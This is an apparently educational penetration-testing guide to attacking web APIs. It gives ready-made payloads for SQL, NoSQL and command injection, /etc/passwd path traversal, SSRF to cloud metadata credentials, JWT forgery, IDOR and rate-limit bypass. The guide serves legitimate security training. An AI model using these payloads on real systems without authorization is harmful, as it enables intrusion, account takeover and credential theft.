kavklaw@llm ~ /guides/api-testing

kavklaw@llm $ cat api-testing-guide.md

API Security Testing

πŸ”΄ Advanced

⏱️ 25 min read · Break REST APIs, exploit GraphQL, and bypass authentication like a pro

← Back to Guides

API testing requires tools to send, intercept, and modify HTTP requests. At minimum, you need curl (comes with every Linux distro) and a proxy for intercepting traffic:

# curl β€” command-line HTTP client (almost certainly already installed)
curl --version

# Burp Suite β€” intercepting proxy (essential for real API testing)
# Download Community Edition (free): https://portswigger.net/burp/communitydownload
# Setup: Proxy tab β†’ Options β†’ confirm listener on 127.0.0.1:8080
# Configure your browser/tool to proxy through 127.0.0.1:8080
# Install Burp's CA cert for HTTPS interception

# Postman β€” GUI API client (good for exploring and documenting APIs)
# Download: https://www.postman.com/downloads/
# Or use the web version: https://web.postman.co

# Alternative CLI tools
sudo apt install httpie    # httpie β€” developer-friendly curl alternative
pip3 install mitmproxy     # mitmproxy β€” terminal-based intercepting proxy

# ffuf β€” for API endpoint fuzzing
sudo apt install ffuf
# Or: go install github.com/ffuf/ffuf/v2@latest

# jq β€” command-line JSON parser (essential for API output)
sudo apt install jq

# jwt_tool β€” for JWT attack testing
git clone https://github.com/ticarpi/jwt_tool.git
pip3 install -r jwt_tool/requirements.txt

For most of this guide, curl + Burp Suite covers everything. Postman is helpful for organizing requests when testing complex APIs with many endpoints. If you're on Kali, curl, ffuf, and jq are already installed.

⚑ Quick Start

Found an API? Here's the 90-second attack checklist:

# 1. Find API documentation
curl -s https://target.com/swagger.json
curl -s https://target.com/api-docs
curl -s https://target.com/openapi.json
curl -s https://target.com/graphql -d '{"query":"{__schema{types{name}}}"}'

# 2. Test authentication bypass
curl https://target.com/api/v1/users                    # No auth
curl -H "Authorization: Bearer null" https://target.com/api/v1/users
curl -H "X-API-Key: test" https://target.com/api/v1/users

# 3. Test IDOR/BOLA (change the ID)
curl -H "Authorization: Bearer YOUR_TOKEN" https://target.com/api/v1/users/1
curl -H "Authorization: Bearer YOUR_TOKEN" https://target.com/api/v1/users/2  # Other user's data?

# 4. Test injection
curl -d '{"username":"admin'\''","password":"test"}' https://target.com/api/login  # SQLi
curl -d '{"search":"{\"$gt\":\"\"}"}' https://target.com/api/search              # NoSQLi

πŸ”— REST vs GraphQL vs SOAP

An API (Application Programming Interface) is how software programs talk to each other. When you use a mobile app, it's making API calls to a server behind the scenes. Understanding the API type determines your attack approach. Each has unique vulnerabilities and testing techniques.

REST APIs

REST (Representational State Transfer) uses standard HTTP methods on resource-based URLs. Each URL represents a specific resource (like a user or an order), and the HTTP method (GET, POST, PUT, DELETE) tells the server what action to take. These URLs are called endpoints:

GET    /api/v1/users           # List all users
GET    /api/v1/users/123       # Get specific user
POST   /api/v1/users           # Create a user
PUT    /api/v1/users/123       # Update a user (full)
PATCH  /api/v1/users/123       # Update a user (partial)
DELETE /api/v1/users/123       # Delete a user

Data format is usually JSON (sometimes XML). Authentication uses Bearer tokens, API keys, OAuth, or cookies. Documentation comes as Swagger/OpenAPI, RAML, or API Blueprint.

Key characteristics to exploit:

  • Predictable URL patterns β†’ directory/endpoint brute forcing
  • Resource IDs in URLs β†’ IDOR/BOLA
  • HTTP method switching β†’ method-based access control bypass
  • Version numbers in paths β†’ test older (less secure) versions

GraphQL APIs

GraphQL is a query language for APIs β€” a single endpoint where the client specifies what data it wants. Usually found at:

POST /graphql
POST /api/graphql
POST /v1/graphql

Query example:

{
  user(id: 123) {
    name
    email
    role       # Can you query admin-only fields?
    password   # What happens if you ask for sensitive fields?
  }
}

Key characteristics to exploit:

  • Introspection β†’ reveals entire schema (all types, queries, mutations)
  • Batching β†’ bypass rate limiting by bundling requests
  • Nested queries β†’ resource exhaustion (DoS)
  • No built-in authorization β†’ developers must implement per-field/per-type
  • Mutations can modify data β†’ test all write operations

SOAP APIs

SOAP (Simple Object Access Protocol) uses XML for requests/responses, typically over HTTP POST. WSDL (Web Services Description Language) describes the API:

curl https://target.com/service?wsdl

SOAP request structure:

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUser xmlns="http://target.com/api">
      <userId>123</userId>
    </GetUser>
  </soap:Body>
</soap:Envelope>

Key characteristics to exploit:

  • WSDL exposes all operations (like Swagger for REST)
  • XML parsing β†’ XXE (XML External Entity) injection
  • Complex payloads β†’ XPath injection, XML injection
  • Legacy systems β†’ often have weaker security controls

πŸ” API Discovery

Before testing, you need to find the API endpoints. APIs hide in many places.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                   API Testing Attack Flow                        β”‚
β”‚                                                                  β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚  β”‚ Discovery │──▢│ Auth     │──▢│ Authz    │──▢│ Injection &   β”‚ β”‚
β”‚  β”‚ & Docs   β”‚   β”‚ Testing  β”‚   β”‚ (BOLA)   β”‚   β”‚ Logic Flaws  β”‚ β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚
β”‚       β”‚                                              β”‚          β”‚
β”‚       β–Ό                                              β–Ό          β”‚
β”‚  Swagger/JS/       JWT attacks,        SSRF, Mass Assignment,   β”‚
β”‚  Wayback/Fuzz      Key bypass          Rate Limit Bypass        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Common API documentation paths:

for path in swagger.json openapi.json api-docs swagger/v1/swagger.json \
  api/swagger.json v1/api-docs v2/api-docs api/v1/swagger.json \
  api/docs api/schema api/openapi.yaml graphql .well-known/openapi; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/$path")
    [ "$code" != "404" ] && echo "[+] $path β†’ HTTP $code"
done

# Fuzz for API endpoints
ffuf -u https://target.com/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt

# Analyze JavaScript files for API calls (often contain hardcoded endpoints, keys, internal URLs)
curl -s https://target.com/main.js | grep -oP '["'"'"'](\/api\/[^"'"'"']*?)["'"'"']' | sort -u

# Use LinkFinder to extract endpoints from JS
python3 linkfinder.py -i https://target.com/main.js -o cli

# Wayback Machine for historical API endpoints
echo target.com | waybackurls | grep -i "api\|graphql\|rest\|v[0-9]" | sort -u

# Check robots.txt and sitemap.xml
curl -s https://target.com/robots.txt | grep -i api
curl -s https://target.com/sitemap.xml | grep -i api

For Burp Suite passive analysis: spider the web app β†’ all API calls appear in Proxy history. Filter by MIME type = JSON to find API endpoints.

πŸ’‘ Pro Tip: JavaScript files are the single best source for API endpoint discovery. Modern SPAs (React, Angular, Vue) have every API call embedded in the client-side code. Download all JS files and search them for fetch(), axios, XMLHttpRequest, API paths, and hardcoded tokens.

πŸ” Authentication Testing

API authentication is often weaker than web app authentication because APIs are designed for programmatic access (software talking to software, not humans clicking login buttons).

API Key Testing

API keys are often in headers, query params, or request body. Common header names:

X-API-Key: KEY
Authorization: ApiKey KEY
Api-Key: KEY
X-Auth-Token: KEY

Test if the API works without any authentication, or with empty/null values:

# Test without authentication
curl https://target.com/api/v1/users

# Test with empty/null values
curl -H "X-API-Key: " https://target.com/api/v1/users
curl -H "X-API-Key: null" https://target.com/api/v1/users
curl -H "X-API-Key: undefined" https://target.com/api/v1/users
curl -H "X-API-Key: true" https://target.com/api/v1/users

# Test if API key is validated per-endpoint (sometimes only certain endpoints check auth)
curl -H "X-API-Key: VALID_KEY" https://target.com/api/v1/public  # βœ“
curl https://target.com/api/v1/admin   # Does this work without auth?

Search for exposed API keys:

  • GitHub: "target.com" api_key
  • JavaScript: grep -r "api[_-]key" *.js
  • Environment files: .env, config.js, settings.py

Bearer Token Testing

# Test token removal
curl https://target.com/api/v1/admin   # No Authorization header

# Test with invalid tokens
curl -H "Authorization: Bearer invalidtoken" https://target.com/api/v1/admin
curl -H "Authorization: Bearer AAAA" https://target.com/api/v1/admin

# Test with empty bearer
curl -H "Authorization: Bearer " https://target.com/api/v1/admin
curl -H "Authorization: " https://target.com/api/v1/admin

# Test switching auth methods (admin:admin in base64 β€” does Basic auth work?)
curl -H "Authorization: Basic YWRtaW46YWRtaW4=" https://target.com/api/v1/admin

Also test OAuth token reuse β€” is the token tied to a specific client? Try using Token A (from mobile app) against the web API, and Token B (from web) against the mobile API.

🎫 JWT Attacks

JSON Web Tokens (JWTs) are widely used for API authentication. A JWT is a string with three parts separated by dots: header, payload, and signature. The header and payload are just base64-encoded JSON (anyone can read them!). The signature proves the token hasn't been tampered with -- but only if the server validates it properly. JWTs have several well-known attack vectors.

JWT structure: HEADER.PAYLOAD.SIGNATURE (base64url encoded). Example: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0.SIGNATURE

# Decode a JWT (base64 decode each part)
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
# {"alg":"HS256"}

echo "eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0" | base64 -d
# {"user":"john","role":"user"}

ATTACK 1: Algorithm None β€” change the algorithm to "none" so the signature isn't verified. Header: {"alg":"none"}, Payload: {"user":"admin","role":"admin"}. Note the trailing dot (empty signature):

python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'none'}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({'user':'admin','role':'admin'}).encode()).rstrip(b'=')
print(f'{header.decode()}.{payload.decode()}.')
"

ATTACK 2: Algorithm Confusion (RS256 β†’ HS256) β€” if the server uses RS256 (asymmetric), switch to HS256 (symmetric) and sign with the server's PUBLIC key as the HMAC secret. The server verifies with the public key β†’ matches!

ATTACK 3: Weak Secret Key β€” brute force the HMAC secret:

hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

ATTACK 4: Key ID (kid) Injection β€” the kid header can be a path or SQL:

# Path traversal: signs with empty file β†’ predictable signature
{"alg":"HS256","kid":"../../dev/null"}

# SQL injection in kid parameter
{"alg":"HS256","kid":"key'; SELECT 'secret' FROM keys--"}

ATTACK 5: Token Expiration β€” change exp claim to a future date: {"user":"admin","role":"admin","exp":9999999999}

jwt_tool β€” automated JWT testing:

python3 jwt_tool.py TOKEN -T    # Tamper mode
python3 jwt_tool.py TOKEN -C    # Crack HMAC secret
python3 jwt_tool.py TOKEN -X a  # Algorithm none attack
python3 jwt_tool.py TOKEN -X k  # Key confusion attack
πŸ’‘ Pro Tip: Use jwt.io to decode tokens quickly. Check the payload for role fields (role, admin, is_admin, permissions) and try modifying them. The "alg:none" attack is banned in most modern libraries, but algorithm confusion (RS256β†’HS256) still works surprisingly often.

πŸšͺ Authorization Testing (BOLA/IDOR)

BOLA (Broken Object Level Authorization) -- also known as IDOR (Insecure Direct Object Reference) -- is the #1 API vulnerability according to OWASP (the Open Web Application Security Project, the industry standard for web security). In plain English: the API checks that you're logged in, but doesn't check that the data you're requesting actually belongs to you. So you can access other users' data just by changing an ID number in the URL.

# Basic IDOR test β€” change the resource ID
# Logged in as user 5:
GET /api/v1/users/5/profile      # Your profile βœ“
GET /api/v1/users/1/profile      # Admin's profile? ← IDOR!
GET /api/v1/users/6/profile      # Another user's profile? ← IDOR!

# Test with different ID formats:
GET /api/v1/orders/1001          # Sequential integer
GET /api/v1/orders/1002          # Next order (different user?)
GET /api/v1/documents/abc-123    # UUID β€” harder to guess, but try...
GET /api/v1/files/report.pdf     # Filename-based reference

# IDOR in POST/PUT/DELETE β€” not just reading, but modifying!
PUT /api/v1/users/1/profile      # Can you modify another user's profile?
  {"email":"[email protected]"}  # Change their email for password reset!

DELETE /api/v1/users/1           # Can you delete another user?

POST /api/v1/users/1/password-reset  # Reset another user's password?

# IDOR via parameter pollution
GET /api/v1/profile?user_id=5    # Your profile
GET /api/v1/profile?user_id=1    # Admin's profile?

# IDOR in request body
POST /api/v1/transfer
{"from_account":"YOUR_ID","to_account":"ATTACKER","amount":1000}
# Change from_account to another user's ID

# Broken Function Level Authorization (BFLA)
# Regular user endpoints vs admin endpoints:
GET /api/v1/users                # Regular user β€” returns your own data
GET /api/v1/admin/users          # Admin endpoint β€” does it check authorization?
DELETE /api/v1/admin/users/5     # Admin action β€” can a regular user do this?

# HTTP method switching
GET /api/v1/users/1              # Returns 403 Forbidden
POST /api/v1/users/1             # Returns data? Different auth check?
PUT /api/v1/users/1              # What about PUT?

# Test with different content types
# Sometimes JSON auth check differs from form-data
curl -H "Content-Type: application/json" -d '{"id":1}' https://target.com/api/users
curl -H "Content-Type: application/x-www-form-urlencoded" -d "id=1" https://target.com/api/users
πŸ’‘ Pro Tip: For IDORs with UUIDs, look for UUID leakage in other API responses, error messages, HTML source, JS files, or Wayback Machine archives. Also try UUID v1 which encodes timestamps and MAC addresses -- you can predict adjacent UUIDs.
🧠Knowledge Check -- API Authentication & Authorization
What is the OWASP #1 API vulnerability that occurs when an API doesn't verify the authenticated user is authorized to access a specific resource?
BOLA (Broken Object Level Authorization), also known as IDOR, is OWASP API Security #1. It occurs when an API endpoint allows authenticated users to access resources belonging to other users simply by changing the resource ID (e.g., changing /api/v1/users/5 to /api/v1/users/1).
Complete the curl command to test for GraphQL introspection and reveal the entire API schema:
$ curl -X POST https://target.com/graphql -d '{"query":"{{types{name fields{name}}}}"}'
The __schema introspection query is a built-in GraphQL feature that reveals the entire API schema β€” all types, fields, queries, and mutations. Many developers disable the GraphiQL UI but forget to disable introspection queries themselves.
You're testing a REST API that returns a user object with fields: id, name, email, role. The update endpoint accepts JSON via PUT. Which attack should you attempt to escalate privileges?
Mass assignment occurs when an API binds all incoming parameters to the data model without filtering. If role appears in the GET response, it's likely a model field β€” try sending it in the PUT request. APIs using auto-binding frameworks (Rails, Django REST, Spring) are especially vulnerable.

πŸ’‰ Injection in APIs

SQL Injection in APIs

# JSON body injection
POST /api/v1/login
{"username":"admin' OR 1=1--","password":"anything"}

# JSON field injection
POST /api/v1/search
{"query":"test' UNION SELECT username,password FROM users--"}

# Filter/sort parameter injection
GET /api/v1/products?sort=name;DROP TABLE users--
GET /api/v1/products?filter=category' OR '1'='1
GET /api/v1/products?order=price,(SELECT password FROM users LIMIT 1)

# GraphQL injection
{
  user(name: "admin' OR '1'='1") {
    id
    email
    password
  }
}

NoSQL Injection

NoSQL databases (like MongoDB) use query operators instead of SQL syntax. NoSQL injection exploits how these operators are parsed β€” instead of sending a string password, you send a query operator object that always evaluates to true, bypassing authentication.

# MongoDB operator injection (very common in Node.js/Express APIs)
# Bypass login:
POST /api/v1/login
{"username":"admin","password":{"$gt":""}}
# ↑ Password "greater than empty string" = always true

# Dump all users:
POST /api/v1/login
{"username":{"$regex":".*"},"password":{"$regex":".*"}}

# Extract data character by character:
{"username":"admin","password":{"$regex":"^a.*"}}  # Starts with 'a'?
{"username":"admin","password":{"$regex":"^ab.*"}} # Starts with 'ab'?

# Test in query parameters:
GET /api/v1/users?username[$ne]=invalid    # All users where username != "invalid"
GET /api/v1/users?role[$eq]=admin          # All admin users

# $where injection (server-side JavaScript execution!)
{"$where":"this.username == 'admin' && this.password.match(/^a/)"}

Command Injection

# APIs that process user input on the backend may be vulnerable
POST /api/v1/tools/ping
{"host":"8.8.8.8; id"}           # Command chaining
{"host":"8.8.8.8 | id"}          # Pipe
{"host":"$(id)"}                 # Command substitution
{"host":"`id`"}                  # Backtick substitution
{"host":"8.8.8.8\nid"}           # Newline injection

# File path injection
GET /api/v1/files?name=../../../../etc/passwd
GET /api/v1/files?name=....//....//....//etc/passwd
POST /api/v1/convert {"file":"file:///etc/passwd"}

πŸ“¦ Mass Assignment

Mass assignment (also called auto-binding) happens when an API blindly accepts all fields you send it and saves them to the database β€” even fields you're not supposed to control. Many web frameworks (Rails, Django, Spring) automatically map incoming JSON fields to database columns for convenience. The vulnerability: if the API has a "role" field in the database, and you include "role":"admin" in your update request, a vulnerable API will set your role to admin. The developer only expected you to send "name" and "email," but the framework accepted everything.

# Normal profile update request:
PUT /api/v1/users/me
{"name":"John","email":"[email protected]"}

# Mass assignment attack β€” add extra fields:
PUT /api/v1/users/me
{
  "name": "John",
  "email": "[email protected]",
  "role": "admin",            # ← Escalate to admin!
  "is_admin": true,           # ← Another common field name
  "credits": 99999,           # ← Give yourself credits
  "verified": true,           # ← Skip email verification
  "password_reset_token": ""  # ← Clear someone's reset token
}

# How to find hidden parameters:
# 1. Check API documentation (Swagger) for all model fields
# 2. Look at GET responses β€” fields you can READ might be WRITABLE
# 3. Look at error messages β€” they might reveal field names
# 4. Fuzz with common field names: role, admin, is_admin, permissions, group, type

# Registration mass assignment:
POST /api/v1/register
{
  "username": "attacker",
  "password": "password123",
  "email": "[email protected]",
  "role": "admin"             # ← Register as admin!
}

# Transfer/payment mass assignment:
POST /api/v1/transfer
{
  "to": "attacker",
  "amount": 100,
  "fee": 0,                   # ← Remove the fee
  "currency": "USD",
  "approved": true             # ← Auto-approve
}

πŸƒ Rate Limiting Bypass

Techniques to bypass API rate limiting:

1. Add/change headers that proxies use for client identification (rotate the IP value on each request):

X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-Host: 127.0.0.1

2. Change API endpoint casing/encoding:

/api/v1/login
/Api/V1/Login
/api/v1/login/
/api/v1/login%00
/api/v1/./login
/api/v1/login?dummy=1
/api/v1/login#

3. Switch HTTP method: POST /api/v1/login β†’ PUT /api/v1/login

4. Add null bytes or extra parameters: POST /api/v1/login?param=value, POST /api/v1/login%00

5. Use different content types: Content-Type: application/json β†’ application/xml

6. Distribute across API versions: /api/v1/login, /api/v2/login, /api/v3/login

7. For OTP/PIN brute forcing β€” add spaces/special characters:

{"otp":"1234"}
{"otp":"1234 "}
{"otp":" 1234"}
{"otp":"1234\n"}

8. IP rotation β€” use a pool of proxies or rotate source IPs if you control multiple.

🧠Knowledge Check -- API Exploitation Techniques
Complete the curl command to bypass API rate limiting by spoofing the client IP address:
$ curl -H " 127.0.0.1" https://target.com/api/v1/login
The X-Forwarded-For header tells the server the original client IP when behind a proxy. Many rate limiters use this header for client identification. By rotating the IP value on each request, you can bypass per-IP rate limits.
Which GraphQL attack technique allows an attacker to bypass rate limiting by sending multiple operations in a single HTTP request?
GraphQL batching allows sending multiple operations (queries or mutations) in a single HTTP request as a JSON array. Rate limiters that count HTTP requests see only one request, while the server processes many operations β€” perfect for brute forcing login or OTP codes.

🌐 SSRF via APIs

SSRF (Server-Side Request Forgery) tricks the server into making HTTP requests on your behalf β€” essentially using the target server as a proxy to reach things you can't access directly. Why does this matter? Servers often sit on internal networks with access to databases, admin panels, and cloud metadata services that are blocked from the internet. If an API endpoint accepts a URL as input (for webhooks, URL validators, file importers, or preview generators), you can point it at these internal services. These are prime SSRF targets.

# Common SSRF-prone API endpoints:
POST /api/v1/webhooks        {"url":"http://internal:8080/admin"}
POST /api/v1/import          {"source":"http://169.254.169.254/latest/meta-data/"}
POST /api/v1/preview         {"url":"http://localhost:6379/"}
POST /api/v1/screenshot      {"url":"file:///etc/passwd"}
POST /api/v1/proxy           {"target":"http://internal-api:3000/secrets"}

# Cloud metadata SSRF (AWS)
POST /api/v1/fetch
{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# ← Returns AWS IAM credentials!

# Internal network scanning via SSRF
# Use response time or error differences to identify open ports
for port in 22 80 443 3306 5432 6379 8080 9200; do
  response=$(curl -s -o /dev/null -w "%{http_code}:%{time_total}" \
    -d "{\"url\":\"http://192.168.1.1:$port/\"}" \
    https://target.com/api/v1/fetch)
  echo "Port $port: $response"
done

# Bypass SSRF filters:
# URL encoding: http://169.254.169.254 β†’ http://%31%36%39.%32%35%34.%31%36%39.%32%35%34
# Decimal IP: http://2852039166/ (decimal for 169.254.169.254)
# Hex IP: http://0xa9fe.0xa9fe/
# IPv6: http://[::ffff:169.254.169.254]/
# DNS rebinding: Register a domain that resolves to 169.254.169.254
# Redirect: Host a page that 302-redirects to the internal target
# Short URL: Use bit.ly or similar to mask the internal URL

πŸ“‹ API Versioning Attacks

# Old API versions often have fewer security controls

# Test different version formats:
/api/v1/users
/api/v2/users
/api/v3/users
/api/v0/users      # Internal/beta version?
/api/beta/users
/api/internal/users
/api/dev/users
/api/staging/users

# Headers:
Accept: application/vnd.target.v1+json
Accept: application/vnd.target.v2+json
X-API-Version: 1
X-API-Version: 2
Api-Version: 1.0
Api-Version: 2.0

# Scenario: v2 added input validation, but v1 still works
POST /api/v2/users {"name":"admin"}  # Blocked
POST /api/v1/users {"name":"admin"}  # Works!

# Scenario: v3 added authorization check, v1 didn't
GET /api/v3/admin/users  # 403 Forbidden
GET /api/v1/admin/users  # 200 OK β†’ returns all users!

πŸ“Š GraphQL-Specific Attacks

Introspection -- Schema Discovery

Full introspection query β€” reveals the entire API schema:

POST /graphql
{"query": "{__schema{queryType{name}mutationType{name}types{name fields{name type{name kind ofType{name}}}}}}"}

# Get all types
{"query": "{__schema{types{name description fields{name}}}}"}

# Get all queries and mutations
{"query": "{__schema{queryType{fields{name description args{name type{name}}}}}}"}
{"query": "{__schema{mutationType{fields{name description args{name type{name}}}}}}"}

If introspection is disabled, try these techniques:

# 1. Malformed query β†’ error messages reveal field names
{"query": "{__type(name: \"User\"){name fields{name}}}"}

# 2. Field suggestion exploitation
{"query": "{user{passwor}}"}
# Error: "Did you mean 'password'?" ← Field name leaked!

3. Use tools like clairvoyance for blind introspection.

GraphQL Batching Attack

Send multiple operations in a single request to bypass rate limiting β€” one HTTP request, many operations:

# Brute force login via batching:
POST /graphql
[
  {"query": "mutation{login(username:\"admin\",password:\"password1\"){token}}"},
  {"query": "mutation{login(username:\"admin\",password:\"password2\"){token}}"},
  {"query": "mutation{login(username:\"admin\",password:\"password3\"){token}}"},
  {"query": "mutation{login(username:\"admin\",password:\"password4\"){token}}"},
  {"query": "mutation{login(username:\"admin\",password:\"password5\"){token}}"}
]
# ↑ One request, five login attempts β€” rate limiter sees ONE request!

# OTP brute force via aliases:
POST /graphql
{"query": "
  mutation {
    otp0: verifyOTP(code: \"0000\") { success }
    otp1: verifyOTP(code: \"0001\") { success }
    otp2: verifyOTP(code: \"0002\") { success }
    otp3: verifyOTP(code: \"0003\") { success }
    ...
  }
"}

GraphQL Injection & Denial of Service

# Nested query attack (resource exhaustion)
{
  users {
    posts {
      comments {
        author {
          posts {
            comments {
              author {
                posts { title }  # Deeply nested β†’ exponential database queries
              }
            }
          }
        }
      }
    }
  }
}

# SQL injection through GraphQL
{
  user(name: "admin' UNION SELECT password FROM users--") {
    id
    email
  }
}

# NoSQL injection through GraphQL
{
  users(filter: {username: {$regex: ".*"}}) {
    id
    username
    password
  }
}

πŸ› οΈ Postman & Burp for APIs

Burp Suite β€” intercept and modify API requests:

  1. Configure your API client to proxy through Burp (127.0.0.1:8080)
  2. All API calls appear in Proxy β†’ HTTP History
  3. Right-click β†’ Send to Repeater for manual testing
  4. Right-click β†’ Send to Intruder for automated attacks (IDOR, fuzzing)

Essential Burp extensions for API testing:

  • Autorize β€” automatic IDOR/authorization testing
  • JSON Web Tokens β€” JWT manipulation
  • InQL β€” GraphQL introspection and testing
  • Param Miner β€” find hidden parameters
  • CORS* scanner β€” test CORS misconfiguration

Postman β€” API documentation and testing:

  1. Import Swagger/OpenAPI spec β†’ generates all endpoints
  2. Set up environments (dev, staging, prod)
  3. Use Collection Runner for automated testing
  4. Set variables for tokens: {{auth_token}}
  5. Write pre-request scripts and tests in JavaScript

Postman pre-request script for auto-auth:

// Automatically get a fresh token before each request
pm.sendRequest({
    url: pm.environment.get("base_url") + "/api/v1/login",
    method: "POST",
    header: {"Content-Type": "application/json"},
    body: {
        mode: "raw",
        raw: JSON.stringify({
            username: pm.environment.get("username"),
            password: pm.environment.get("password")
        })
    }
}, function(err, res) {
    pm.environment.set("auth_token", res.json().token);
});

Other useful tools:

  • mitmproxy β€” command-line proxy for API interception
  • httpie β€” developer-friendly HTTP client (better than curl for APIs)
  • insomnia β€” REST/GraphQL API client (like Postman)
  • wfuzz/ffuf β€” API endpoint fuzzing

πŸ“ Wordlists for API Fuzzing

SecLists API wordlists (essential):

/usr/share/seclists/Discovery/Web-Content/api/
  api-endpoints.txt             # Common API endpoints
  api-endpoints-res.txt         # API resource names
  objects.txt                   # Common object names

/usr/share/seclists/Discovery/Web-Content/
  common.txt                    # General web paths
  raft-medium-words.txt         # Medium wordlist

/usr/share/fuzzdb/discovery/predictable-filepaths/

Custom API wordlist approach β€” combine findings from:

  1. JavaScript file analysis β†’ extract all API paths
  2. Swagger/OpenAPI documentation β†’ extract all endpoints
  3. Error messages β†’ reveal hidden endpoints
  4. GitHub repos β†’ find internal API routes

Generate parameter wordlists from API responses. If GET /api/v1/users returns {"id":1,"name":"john","email":"...","role":"user"}, test PUT with each field (id, name, email, role) and try common extras: admin, is_admin, permissions, group, type, status.

HTTP parameter pollution β€” for each parameter, try:

?param=value&param=evil           # Duplicate parameter
?param[]=value&param[]=evil       # Array parameter
?param=value%00evil               # Null byte injection

🎯 Real-World Methodology

Phase 1: API Discovery & Documentation (15 min)

  1. Find API documentation (Swagger, OpenAPI, GraphQL introspection)
  2. Extract endpoints from JavaScript files
  3. Check Wayback Machine for old API versions
  4. Fuzz for undocumented endpoints
  5. Map all CRUD operations for each resource

Phase 2: Authentication Testing (10 min)

  1. Test each endpoint without authentication
  2. Test with invalid/expired tokens
  3. If JWT: try algorithm none, weak secret, claim modification
  4. Test OAuth flows for redirect URI manipulation
  5. Check token expiration and refresh logic

Phase 3: Authorization Testing (20 min)

  1. Create two user accounts (or use provided credentials)
  2. Test EVERY endpoint with User A's token accessing User B's resources
  3. Test horizontal access (user-to-user) and vertical (user-to-admin)
  4. Test HTTP method switching on restricted endpoints
  5. Test mass assignment on every update endpoint

Phase 4: Input Validation (15 min)

  1. Test SQL injection on all input fields
  2. Test NoSQL injection (especially Node.js/MongoDB apps)
  3. Test command injection on file/URL processing endpoints
  4. Test SSRF on any endpoint that takes URLs
  5. Test XXE on XML-accepting endpoints
  6. Test path traversal on file-related endpoints

⚠️ Common Mistakes

❌ Mistake #1: Only testing GET endpoints.
Many authorization vulnerabilities only appear on POST/PUT/DELETE operations. An API might correctly restrict reading other users' data but fail to prevent modifying it. Test all HTTP methods on every endpoint.
❌ Mistake #2: Not checking JavaScript files.
Frontend JavaScript contains the complete API surface -- endpoints, parameters, sometimes even hardcoded API keys and admin endpoints. Always download and analyze JS bundles.
❌ Mistake #3: Ignoring old API versions.
/api/v1/ might still work even though /api/v3/ is current. Old versions often lack security patches, input validation, and authorization checks that were added later.
❌ Mistake #4: Not testing GraphQL introspection.
Many developers disable the GraphiQL UI but forget to disable introspection queries. The schema dump reveals every type, field, query, and mutation -- including admin-only operations.
❌ Mistake #5: Forgetting about mass assignment.
If the API returns a role field in the response, try sending role in the request body. APIs that use auto-binding frameworks (Rails, Django REST, Spring) are especially vulnerable.
❌ Mistake #6: Only testing in the browser.
APIs aren't designed for browsers. Use dedicated tools (Burp, Postman, curl, httpie) that let you control every aspect of the request -- headers, methods, body formats, encoding.

πŸ“š Further Reading

πŸ“

Final Assessment: API Security Testing

0 / 3
A penetration tester discovers that /api/v3/admin/users returns 403 Forbidden, but /api/v1/admin/users returns 200 OK with all user data. What vulnerability class does this represent?
This is Broken Function Level Authorization exploited through API versioning. Old API versions often lack security controls added in newer versions. v1 may not have authorization checks that v3 enforces. Always test older API versions β€” they frequently still work.
In JWT attacks, what is the "algorithm confusion" (RS256β†’HS256) attack?
In the RS256β†’HS256 algorithm confusion attack, the server uses RS256 (asymmetric β€” signs with private key, verifies with public key). The attacker switches the algorithm to HS256 (symmetric β€” same key for signing and verifying) and signs the token with the server's public key. The server then verifies using the public key as the HMAC secret β€” and it matches!
What is the best single source for discovering an API's complete endpoint surface area in modern single-page applications?
JavaScript files are the single best source for API endpoint discovery. Modern SPAs (React, Angular, Vue) embed every API call in client-side JavaScript. Download all JS bundles and search for fetch(), axios, XMLHttpRequest, API paths, and sometimes even hardcoded tokens and API keys.